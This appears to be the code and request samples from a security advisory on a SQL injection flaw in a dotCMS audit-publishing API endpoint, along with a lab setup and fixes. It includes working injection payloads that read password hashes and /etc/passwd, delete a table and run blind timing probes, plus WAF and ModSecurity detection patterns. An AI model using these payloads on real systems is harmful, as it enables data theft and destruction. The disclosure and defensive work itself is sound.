@Path("/auditPublishing")
@Tag(name = "Publishing")
public class AuditPublishingResource {

    @POST
    @Path("/getAll")
    @Produces(MediaType.APPLICATION_JSON)
    public Response getAll(List<String> bundleIds) {
        // 【Punto vulnerable】¡Sin verificación de autenticación! Llama directamente a la API del backend
        try {
            final List<PublishAuditStatus> statuses = auditAPI.getPublishAuditStatuses(bundleIds);
            // ...
        }
    }
}

@CloseDBIfOpened
public List<PublishAuditStatus> getPublishAuditStatuses(List<String> bundleIds)
        throws DotPublisherException {
    try {
        final List<PublishAuditStatus> result = new ArrayList<>();

        DotConnect dc = new DotConnect();

        // 【Punto vulnerable 1】Concatena directamente la entrada del usuario a la sentencia SQL
        // Solo envuelve con comillas simples, sin ninguna parametrización o escape
        final List<String> parameter = bundleIds.stream()
            .map(id -> "'" + id + "'")  // Peligroso: concatenación de cadenas
            .collect(Collectors.toList());

        // 【Punto vulnerable 2】Usa String.format para construir SQL, la entrada del usuario se incrusta directamente
        dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS,
            String.join(",", parameter)));

        List<Map<String, Object>> items = dc.loadObjectResults();

        for(Map<String, Object> item: items) {
            result.add(turnIntoPublishAuditStatus(NO_LIMIT_ASSETS, item));
        }

        return result;
    } catch(Exception e) {
        Logger.debug(PublisherUtil.class, e.getMessage(), e);
        throw new DotPublisherException("Unable to get list of elements with error:" + e.getMessage(), e);
    }
}

SELECT * FROM publishing_queue_audit WHERE bundle_id IN (%s)

SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('normal-id')

SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('x' OR '1'='1')

POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json

["x' UNION SELECT user_id,password_hash,email,null,null FROM dotcms_user--"]

POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json

["x'; DELETE FROM publishing_queue_audit; --"]

POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json

["x' UNION SELECT null,pg_read_file('/etc/passwd'),null,null,null--"]

services:
  dotcms:
    build: .
    container_name: dotcms-vuln
    ports:
      - "8080:8080"
      - "8443:8443"
    environment:
      - DOT_INITIAL_ADMIN_PASSWORD=admin
      - DOT_DOTCMS_URL=http://localhost:8080
      - DOT_DB_HOST=dotcms-db
      - DOT_DB_PORT=5432
      - DOT_DB_NAME=dotcms
      - DOT_DB_USERNAME=dotcms
      - DOT_DB_PASSWORD=dotcms
      - DOT_DB_BASE_URL=jdbc:postgresql://dotcms-db:5432/dotcms
      - DOT_DB_DRIVER=org.postgresql.Driver
      - DOT_ES_ENDPOINTS=http://dotcms-es:9200
      - DOT_ES_HOSTNAME=dotcms-es
    depends_on:
      dotcms-db:
        condition: service_healthy
      dotcms-es:
        condition: service_started

  dotcms-db:
    image: postgres:15
    environment:
      - POSTGRES_DB=dotcms
      - POSTGRES_USER=dotcms
      - POSTGRES_PASSWORD=dotcms
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -U dotcms"]
      interval: 5s
      timeout: 5s
      retries: 20

  dotcms-es:
    image: elasticsearch:7.17.24
    environment:
      - discovery.type=single-node
      - xpack.security.enabled=false
      - "ES_JAVA_OPTS=-Xms512m -Xmx512m"

FROM dotcms/dotcms:25.11.04-1

docker compose up -d
# Espera a que dotCMS se inicialice (aproximadamente 2-3 minutos)
# Verifica el estado: docker compose logs -f dotcms

POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json
Content-Length: 11

["test-id"]

POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json

["real-bundle-1') and 1=1--'"]

POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json

["real-bundle-1') and 1=2--'"]

-- Condición verdadera: bundle_id coincide y 1=1 es verdadero -> devuelve datos -> el código maneja NPE -> 404
select * from publishing_queue_audit where bundle_id in ('real-bundle-1') and 1=1--'')

-- Condición falsa: bundle_id coincide pero 1=2 es falso -> no devuelve datos -> resultado vacío manejado normalmente -> 200
select * from publishing_queue_audit where bundle_id in ('real-bundle-1') and 1=2--'')

POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json

["x') and (SELECT pg_sleep(3))::text='t'--'"]

POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json

["x') and (SELECT pg_sleep(5))::text='t'--'"]

select * from publishing_queue_audit where bundle_id in ('x') and (SELECT pg_sleep(3))::text='t'--'')

final List<String> parameter = bundleIds.stream()
    .map(id -> "'" + id + "'")
    .collect(Collectors.toList());
dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS, String.join(",", parameter)));

// Nuevo: verificación de valores nulos
if (bundleIds == null || bundleIds.isEmpty()) {
    return Collections.emptyList();
}

// Uso de marcadores de posición para consultas parametrizadas
final String placeholders = bundleIds.stream()
    .map(id -> "?")
    .collect(Collectors.joining(","));

dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS, placeholders));
bundleIds.forEach(dc::addParam);  // Enlace de parámetros, previene la inyección SQL

public Response getAll(List<String> bundleIds) {
    // Sin verificación de autenticación
    try {
        final List<PublishAuditStatus> statuses = auditAPI.getPublishAuditStatuses(bundleIds);

public Response getAll(final List<String> bundleIds,
                       @Context final HttpServletRequest request) {

    // Nuevo: verificación del token de autenticación Push Publish
    final AuthCredentialPushPublishUtil.PushPublishAuthenticationToken ppAuthToken =
            AuthCredentialPushPublishUtil.INSTANCE.processAuthHeader(request);

    final Optional<Response> failResponse = PushPublishResourceUtil.getFailResponse(request, ppAuthToken);

    if (failResponse.isPresent()) {
        return failResponse.get();  // Devuelve 401 Unauthorized
    }
    // ...
}

# /etc/nginx/conf.d/dotcms-security.conf

# Bloquear solicitudes a la API de auditoría de publicación
location ~ ^/api/auditPublishing/(get|getAll) {
    # Devolver 403 prohibido
    return 403 "Forbidden: Endpoint blocked for security reasons";
    add_header Content-Type text/plain;
}

# O usar un enfoque más permisivo, solo permitir acceso desde la red interna
location ~ ^/api/auditPublishing/(get|getAll) {
    # Permitir rangos de IP internas
    allow 10.0.0.0/8;
    allow 172.16.0.0/12;
    allow 192.168.0.0/16;
    # Denegar todos los demás orígenes
    deny all;
}

# Reglas WAF para características de inyección SQL
location / {
    # Detectar características comunes de inyección SQL
    if ($request_uri ~* "(union|select|insert|update|delete|drop|--)") {
        return 403;
    }

    # Detectar inyección de comillas simples
    if ($request_uri ~* "'") {
        return 403;
    }

    proxy_pass http://dotcms_backend;
}

# /etc/modsecurity/rules/dotcms-cve-2026-8054.conf

# Regla 1: Bloquear acceso a los puntos finales vulnerables
SecRule REQUEST_URI "@rx /api/auditPublishing/(get|getAll)" \
    "id:2026805401,phase:1,deny,status:403,msg:'CVE-2026-8054: Blocked access to vulnerable dotCMS endpoint'"

# Regla 2: Detectar características de inyección SQL
SecRule REQUEST_BODY "@rx (?i:(union|select|insert|update|delete|drop|exec|--)".*?(from|into|table))" \
    "id:2026805402,phase:2,deny,status:403,msg:'CVE-2026-8054: SQL Injection attempt detected'"

-- Ejemplo de restricción de permisos en PostgreSQL
-- Crear usuario restringido
CREATE USER dotcms_restricted WITH PASSWORD 'secure_password';

-- Conceder solo permisos necesarios en tablas
GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO dotcms_restricted;

-- Prohibir crear/eliminar tablas
REVOKE CREATE ON SCHEMA public FROM dotcms_restricted;

-- Prohibir ejecutar comandos del sistema
REVOKE ALL ON FUNCTION pg_exec FROM dotcms_restricted;

-- Prohibir leer archivos
REVOKE ALL ON FUNCTION pg_read_file FROM dotcms_restricted;

# Usar iptables para restringir el acceso al puerto de la API
# Solo permitir acceso a la red interna al puerto 8080
iptables -A INPUT -p tcp --dport 8080 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -s 172.16.0.0/12 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -s 192.168.0.0/16 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -j DROP

graph TD
    subgraph 漏洞总结
        subgraph 根因分析
            A[缺乏输入验证<br/>用户输入直接拼接SQL]
            B[缺乏认证<br/>API无需认证即可访问]
            C[缺乏参数化<br/>字符串拼接而非参数查询]
        end

        subgraph CVSS评估
            D[CVSS 10.0<br/>Critical]
            E[网络远程]
            F[低复杂度]
            G[无需认证]
        end

        subgraph 修复建议
            H[P0: 立即升级<br/>26.04.28-03]
            I[P1: WAF拦截<br/>临时缓解]
            J[P2: 数据库权限<br/>降低影响]
        end
    end

    A -->|导致| D
    B -->|导致| D
    C -->|导致| D

    H -->|解决| A
    H -->|解决| B
    H -->|解决| C

    I -.->|临时替代| H
    J -.->|降低风险| H

    style D fill:#ff6b6b,stroke:#333,color:#fff
    style H fill:#51cf66,stroke:#333

    note1[攻击向量: Network<br/>攻击复杂度: Low<br/>权限要求: None<br/>用户交互: None]